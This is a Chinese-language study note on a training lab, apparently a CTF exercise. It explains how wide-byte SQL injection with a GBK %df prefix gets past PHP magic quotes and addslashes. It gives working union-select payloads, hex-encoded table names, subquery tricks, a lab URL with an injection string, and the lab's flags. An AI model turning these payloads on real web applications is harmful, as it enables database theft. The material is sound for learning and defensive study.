魔术引号
魔术引号会转移传参的内容
php防御函数magic_quotes_gpc(魔术引号开关)
当PHP的传参中有特殊字符(’ " \)就会再前面加转义字符’\’,来做一定的过滤。单引号和双引号内的一切都是字符串,那我们输入的东西如果不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入
魔术引号PHP5.4以上就被取消的,取而代之的时addslashes()函数
遇到魔术引号时:
1:找一个不需要闭合的地方
2:宽字节注入
假设 \ = %5c 那么 %df\ =%df%5c=一个汉字
什么时候能用宽字节注入
1:实战时,尝试即可
2:知道原理:知道数据库被设置成gbk编码,或者其他非英文编码时,可以利用宽字节注入
gbk编码汉字,占用2个字符
utf-8编码汉字,占用3个字符
宽字节注入(一)
要输入’ 闭合,但是存在魔术引号,输入的单引号前面被加了
解决 :加入%df 让%df和\ 组合成汉字
之后和显错注入完全相同
链接:
https://blog.csdn.net/Demerol/article/details/108471003
注: 在查找字段名时 table_name= '表名’时,因为存在魔术引号,所以两个单引号被转移传参
解决:
1:16进制,将表名改为16进制数 table_name=0x+XXXXXX
table_name=‘china_flag’
=
table_name = 0x6368696e615f666c6167
2:套娃法,table_name之后在加一个select语句
select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name = (select table_name from information_schema.tables where table_schema = database() limit 0,1) limit 1,1 – qwe
最后flag为:zKaQ-Wide
宽字节注入(二)
需用”)闭合,其余和宽字节注入(一)完全一样
http://inject2.lab.aqlab.cn:81/Pass-16/index.php?id=1%df") union select 1,2,3 – qwe
宽字节注入(三)
有输入框,尝试输入万能密码
发现并不成功,因为get传参会编码解码,post不会
gbk编码汉字,占用2个字符
utf-8编码汉字,占用3个字符
我们尝试在外边输入一个汉字,utf-8占用三个字符,但是进入数据库之后,采用gbk编码占用两个字符,utf-8占用的三个字符+’’= 两个汉字
啊’) or union select…
利用burp抓取数据包,可看出转化成的两个汉字
之后和上面完全相同
最后的flg:zKaQ-Kzj+mz
部分语句
查库名
union select 1,2,databses() – qwe
查表名
union select 1,table_name,3 from information_schema.tables where table_schema = database() limit 1,1 – qwe
差字段名
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name = 0x6368696e615f666c6167 – qwe
查数据
union select 1,group_concat(C_Flag),3 from china_flag – qwe